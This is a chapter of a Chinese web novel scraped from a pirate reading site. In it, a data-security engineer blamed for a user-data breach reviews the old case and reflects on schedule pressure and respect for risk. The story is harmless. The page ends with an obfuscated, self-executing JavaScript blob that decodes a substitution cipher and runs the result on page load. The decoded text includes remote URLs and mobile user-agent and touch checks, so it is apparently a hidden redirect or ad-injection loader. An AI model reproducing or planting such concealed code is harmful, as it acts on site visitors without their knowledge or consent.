首页
前传 第163章 复盘旧案,
返回
关灯 护眼:关 字号:小

前传 第163章 复盘旧案,尘埃之下见敬畏

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    前传第163章复盘旧案,尘埃之下见敬畏(第1/2页)
    深秋的江南,连阳光都带着一层淡淡的薄灰。
    老小区的老式居民楼,楼间距挤得很紧,下午三点多,阳台外的光线已经斜斜切过防盗窗,落在地板上,切割出明暗交错的一块块光斑。
    林晚租住的这套房子在六层,没有电梯。屋子不大,一室一厅,装修简单朴素,墙面上还留着前租客留下的浅浅钉孔。客厅没有什么花哨的摆件,大半空间,都交给了一张宽大的实木书桌。
    桌面上摊开数本厚厚的数据安全专业典籍,几台笔记本电脑错落摆放,数据线规整地收拢在理线夹之中。桌角放着一个磨砂玻璃杯,里面的温水已经凉透。
    距离那场轰动行业的数据泄露事故,已经过去十一个月。
    十一个月,足够互联网行业迭代一轮又一轮产品,足够新的热点覆盖旧的舆情,足够大多数外人把那场灾难慢慢淡忘。
    可唯独对于林晚来说,那一页历史,从来没有翻过去。
    外界的喧嚣早已经平息,行业的封杀令却实实在在压在她身上。曾经风光无限、年少成名的数据安全新星,如今困在这一间小小的出租屋里,远离写字楼明亮的落地窗,远离会议室此起彼伏的汇报,远离聚光灯与行业论坛的掌声。
    往日的明媚锐气,被漫长的低谷一点点磨掉。
    从前的林晚,是自信甚至带着几分傲气的。二十五岁不到,就在行业内小有名气,会议上敢直接质疑资深专家的方案,面对复杂漏洞,骨子里一股少年意气,总觉得技术在手,便可以攻克一切难题。相信算法,相信逻辑,相信只要自己足够严谨足够努力,就能够规避所有风险。
    可那场事故,把这一份意气,狠狠打碎在地。
    全网用户数据大规模泄露,舆情汹涌,公司为了保全资本与管理层,把所有罪责全部推到她这个新人项目负责人身上。同事推诿,管理层短视,测试周期被强行压缩,一堆客观因素堆叠在一起,最后所有的锅,却由她一个人来背负。
    行业黑名单,求职石沉大海,面试屡屡碰壁。曾经的同行朋友,有的刻意疏远,有的见面闪烁其词,也有少数人抱着同情,却也不敢公开和她走得太近。
    这大半年,她很少出门。
    大部分时间,就守在这张书桌前面。不投递简历,不急于重新找一份光鲜的工作,没有急着到处去辩解,去到处诉说自己是被冤枉的。
    最初那两三个月,她不是没有挣扎过。
    她整理完整的项目文档、聊天记录、版本迭代日志,一遍遍修改申诉材料,想要向行业证明,那场泄露不全是她的错。可现实冷冰冰摆在眼前,资本主导的行业圈子,真相很多时候抵不过企业的公关通告。一份盖着大企业公章的事故结论,就足以把一个年轻人的职业前途牢牢钉死。
    一次次碰壁之后,她慢慢停下了向外申诉的脚步。
    人在谷底,向外争辩,声嘶力竭,很多时候只会消耗自己。
    于是她选择向内走。
    不去纠结外界给她的评判,回头,重新复盘那一场几乎毁掉她职业生涯的旧案。
    电脑屏幕上,重新调出当年那个项目的全部归档资料。
    有早期的需求文档,迭代版本记录,测试报告碎片,内部沟通的聊天截图,线上出事之后的故障日志,还有当时第三方安全机构出具的事故分析简报。很多资料,是她当初从公司服务器偷偷备份出来的。离职的时候,带走了一块私人移动硬盘,里面存着这一整套完整的项目痕迹。
    过去的十一个月里,这份资料她已经看过很多遍。
    每一次打开,心口都会泛起一阵闷重的窒息感。就像重新把伤口揭开,再看一遍里面溃烂的血肉。
    从前刚刚出事的时候,她心里满是委屈、不甘、愤懑。无数个深夜,她反复在心里呐喊:不是我的全部责任。是管理层强行砍掉测试周期,是上游模块同事代码遗留隐患,是产品为了商业功能优先安全,很多风险点,她明明提过,却被层层驳回。
    那时候复盘,她的注意力,更多放在“谁做错了”,“谁该承担责任”。
    她在文档里一条条标记:A同事此处代码边界处理不完善;B经理为赶上线节点驳回安全评审;产品团队优先业务指标,弱化风险提示。
    每一条,都是别人的过错。
    可今天这一次重新打开文档,心境已经不一样了。
    窗外秋风卷着落叶,拍打在玻璃窗上,发出沙沙的轻响。屋子里安安静静,只有电脑风扇低低的嗡鸣。
    林晚坐直身子,指尖落在键盘上,脸色平静,没有愤怒,也没有再翻涌那股无处诉说的委屈。
    经历过求职被拒,经历过旁人异样的眼光,经历过长夜辗转反侧的自我怀疑,再回头看这一整套项目流程,她看到的,不再仅仅是谁甩锅、谁失职。
    她看见了整条链条上,层层叠叠的风险。
    风险不是某一个人凭空制造出来的,它是一点点,在每一个节点上被纵容、被妥协、被侥幸放过,最后汇集到一起,轰然爆发。
    她点开第一版需求文档。
    项目立项之初,业务扩张压力摆在台面上,要快速抢占市场,要快速上线新的数据采集分析模块。安全模块,从一开始就被定义成配套附属,而非核心。
    当时的她,刚刚拿到这个重点项目,内心是兴奋的。那是证明自己的机会,是行业递过来的舞台。年少得志,渴望做出亮眼成绩,渴望得到管理层的认可。
    即便察觉到项目从根上就带着赶进度的基因,她也没有坚决地站出来硬扛到底。
    “我可以加班,我可以压缩自己的调试时间,我可以尽量把风险堵上。”
    这是当年她内心真实的想法。
    她相信自己的技术能力,相信凭借个人的努力,可以弥补流程上的缺陷。
    现在回头再看,这就是那时候最大的盲目。
    技术人员,很容易陷入一种能力幻觉。以为凭借一己之力,能够补上制度、流程、管理层决策挖出来的大坑。
    林晚指尖鼠标缓缓滑动,一行一行翻阅旧日志。
    她在新建的文档里,敲下第一行字:个人能力,无法代偿体系的缺陷。
    一字一句,敲得很慢。
    这不是自我认罪,不是把所有罪责揽到自己身上。而是一种清醒的认知。
    管理层强行压缩测试周期,上游同事代码遗留漏洞,这些客观错误真实存在,不会因为她此刻的复盘就消失。但作为项目安全模块的负责人,她也有属于自己的盲区。
    明知道整体节奏已经严重违背安全开发的规范,却抱着侥幸,寄希望于自己加班熬夜,把所有漏洞全部提前封堵。
    她把希望寄托于“我足够厉害”,却低估了真实项目里,人性、工期、多方拉扯叠加出来的破坏力。
    她继续往下梳理。
    上线前最后一轮内部测试,她的确提交过三份风险报告,列明了三处高风险边界,提示如果业务流量暴涨,有可能触发数据溢出隐患。报告提交上去,被经理批注“优先级延后,后续迭代修复”。
    那时候的她,争执过一次,被驳回之后,就没有再向上持续死磕。
    职场之中,一个基层技术人员,反复对抗管理层的上线决心,代价很大。会被贴上“阻碍业务发展”、“过于保守”的标签。那时候的她,想要保住这个项目,想要保住自己的机会,内心深处,也有着一丝妥协。
    心里想着:概率不大,未必会出事。
    就是这一丝“未必会出事”的侥幸,是灾难到来之前,最危险的缝隙。
    灾难发生,恰恰就撞上了那个小概率。业务流量短时间内爆发式增长,被延后修复的边界漏洞被触发,连锁反应,层层击穿防护,海量用户隐私数据向外泄露。
    “如果当时我拒绝妥协,以辞职为代价死磕暂停上线,结局会不会不一样?”
    林晚轻声说出这句话,屋子里空荡荡,没有人回答她。
    她自己也清楚,这是没有答案的假设。现实世界没有回滚键,没有重来一次的机会。
    (本章未完,请点击下一页继续阅读)前传第163章复盘旧案,尘埃之下见敬畏(第2/2页)
    现实里,她没有做到那一步。
    人不是活在理想实验室里,是活在真实的职场博弈之中。一个普通打工人,对抗整个公司向前狂奔的商业意志,代价沉重,不是每一个人,都有勇气做到鱼死网破。
    这一点,她如今能够客观看待,却并不代表可以完全原谅自己。
    敬畏,就是从这里生出来的。
    从前的林晚,敬畏代码,敬畏算法逻辑,却没有足够敬畏现实里的风险。总觉得漏洞是写在文档里的名词,总觉得灾难离自己很远。
    可经过这一课她才懂得,数据安全这一行,从来容不下半分侥幸。
    那些文档上标记的低概率风险,只要给到足够的流量、足够复杂的外部环境,就一定会有爆发的那一天。受害的,是千千万万普通的用户。他们不懂底层代码,不知道企业内部的工期博弈,他们交出自己的数据,只以为会得到妥善保护。
    一旦出事,承担代价的,是毫无反抗能力的普通人。
    而内部所有的推诿、甩锅、利益权衡,普通用户一无所知。
    想到这里,林晚心口微微发沉。
    她把这些思考,一条条整理进复盘笔记。不控诉谁,不洗白自己,只客观记录整条链路的每一处裂纹。
    项目立项的目标偏移;业务优先安全后置;工期不合理压缩;风险报告被搁置;负责人抱有侥幸心理;出事之后整套公关体系用来掩盖内部问题,寻找替罪羊。
    一环扣一环。
    一个大型的数据泄露事故,很少单单是某一个人的技术失误,更多是组织、决策、流程、人性共同催生出来的恶果。
    写完一大段文字,她抬手揉了揉眉心,端起玻璃杯,才发现水早已冰凉。起身走到厨房,接了一杯热水,水蒸气氤氲,模糊了镜片。
    窗外天色慢慢暗了下来,城市远处的楼宇,一盏盏灯光次第亮起。出租屋楼下,传来下班人群的说笑声,烟火气一阵阵飘上来,和屋内安静压抑的氛围形成鲜明对比。
    这十一个月,她见过太多网络上普通人被数据泄露伤害的新闻。
    普通人手机号被倒卖,骚扰电话无休止;个人位置、消费记录外流;有人遭遇精准电信诈骗,财产受损。很多企业,嘴上喊着重视数据安全,实际执行层面,永远把商业收益放在第一位。安全,永远是可以让步的选项。
    以前做技术,她更多沉浸在技术本身的精妙。算法如何写,漏洞如何修复,攻防如何博弈。
    跌落谷底之后,她才真正看见技术背后那一个个活生生的人。
    技术不是冰冷的代码,代码的每一行,都连着普通人的命运。
    回到书桌前,她重新坐下来。
    硬盘里面,除了当年事故的全套资料,还有很多她这些日子搜集的公开案例。大大小小国内国外的数据泄露事件,她全部整理归档。
    从前顺风顺水的时候,她也看过这些行业案例,但那时候,更像一个做题家,分析技术漏洞,学习攻防手段。
    现在再读,她会去挖掘案例背后,企业内部发生了什么。是预算不足?工期逼迫?管理层轻视安全?还是为了利益刻意放任?
    技术漏洞只是表象,根源往往藏在商业决策和组织管理之中。
    她打开编辑器,开始写一份很长的私人手记。不打算发表,只是写给自己。
    写下:做安全的人,最该拥有的品质,不只是高超技术,更是敬畏。敬畏风险,敬畏普通人交付过来的隐私,敬畏每一次上线背后千百万用户的信任。
    技术可以精进,能力可以提升,但敬畏之心,一刻都不能丢。
    她也写下自己的警醒:往后无论身处什么位置,一旦看见风险,不能因为人情、职场处境、前途压力,就生出侥幸。哪怕声音微弱,也要尽力把风险摆到台面上。如果环境已经完全不容许守住底线,那就要懂得及时抽身,而不是陪着系统一起冒险。
    写完这些,积压在心底许久的一块重石,仿佛松动了几分。
    不是彻底和解,伤口不会凭空消失。被当做替罪羊的委屈,行业封杀带来的不甘,依旧藏在心底。午夜梦回,还是会回到事故爆发那一天,满屏的报警日志,铺天盖地的舆情,会议室里面所有人沉默避开她的眼神。
    伤疤还在,只是她不再任由那一份痛苦吞噬自己。
    她不再把全部精力耗在纠结“谁对不起我”这件事上。
    过往的经历,已经变成了她身上的一部分,转化成认知,转化成往后行事的标尺。
    就在这时,手机屏幕轻轻亮了一下。
    是一条很久没有联系的老同学发来的消息。
    “有家新成立的小安全工作室缺技术顾问,规模很小,没有大厂光环,薪资不高。他们不介意你过往的那件事,我把你的情况和创始人简单讲过,对方说愿意看你的技术实力,不看旧标签。如果你愿意,我可以把联系方式推给你。”
    林晚盯着屏幕,指尖悬停在输入框上面,久久没有回复。
    换做半年之前,看到这样一条消息,她大概率会激动,会抓住这根救命稻草,急着重新回到职场,急着证明自己还能行。
    但现在,她冷静了很多。
    经历过毁灭性的职业打击之后,她内心多了一层深深的恐惧。恐惧再次进入一个只追逐商业利益、漠视安全底线的环境。恐惧再一次遇到工期逼迫、风险被搁置,恐惧自己再一次陷入两难,甚至重蹈覆辙。
    她太清楚自己的心理状态。完美主义还刻在骨子里,一旦再遇上重大线上事故,她不确定自己的精神能不能承受第二次重击。
    所以她没有立刻欣喜地答应。
    她敲下回复:“谢谢你记挂我,这份好意我收下。不过我暂时还不打算正式入职任何团队。我还需要一点时间沉淀,想再多做一些基础的梳理和研究。如果后续我有想法,我会主动找你。”
    发送出去。
    放下手机,她重新看向电脑屏幕上那一份复盘文档。
    外面的世界依旧喧嚣,资本依旧在追逐更快的上线、更大的数据流量。荆棘科技那样的公司,借着行业红利快速扩张,对数据安全的底线一再退让。无数企业嘴上重视隐私保护,实际依旧在游走灰色地带。
    而大洋彼岸,海外科技巨头,也在虎视眈眈盯着国内的数据安全市场。
    这个行业,依旧遍地乱象。
    她现在力量微薄,被困在这间小小的出租屋里,没有平台,没有资源,没有光环。
    但她手里还有技术,还有从惨痛教训里面换来的清醒认知。
    她点开一个空白文档,写下一行标题:面向普通民众的数据安全科普笔记。
    一个念头,在心底慢慢清晰成型。
    不一定非要在大厂写字楼里,做轰轰烈烈的大项目,才算实现价值。
    很多普通老百姓,完全不懂数据泄露的风险,不知道怎么保护自己的个人信息。市面上,大多是面向企业客户的安全方案,面向普通人的科普,少之又少。
    或许,她可以从这里做起。
    不追求高薪,不追求职位光环,把自己踩过的坑,见过的风险,用通俗的语言整理出来,写给普通人看。
    这颗种子,在心底悄悄埋下。
    窗外夜色彻底沉落,城市万家灯火尽数铺开。
    林晚抬手,把复盘文档妥善加密归档,存进移动硬盘。
    旧案,不必反复沉溺,却永远不能遗忘。
    那些摔过的跟头,受过的委屈,看透的行业凉薄,最终没有把她彻底摧毁,而是淬炼出一份沉甸甸的敬畏。
    少年时代的意气风发已经褪去,取而代之的,是一份沉静、审慎,带着伤痕却没有熄灭善意的力量。
    前路依旧模糊,她还不知道自己未来会走向何方,不知道什么时候,命运会让她和龙胆草、曹辛夷那一群还未曾相逢的人相遇。
    但她心里,已经慢慢找到了属于自己的方向。
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();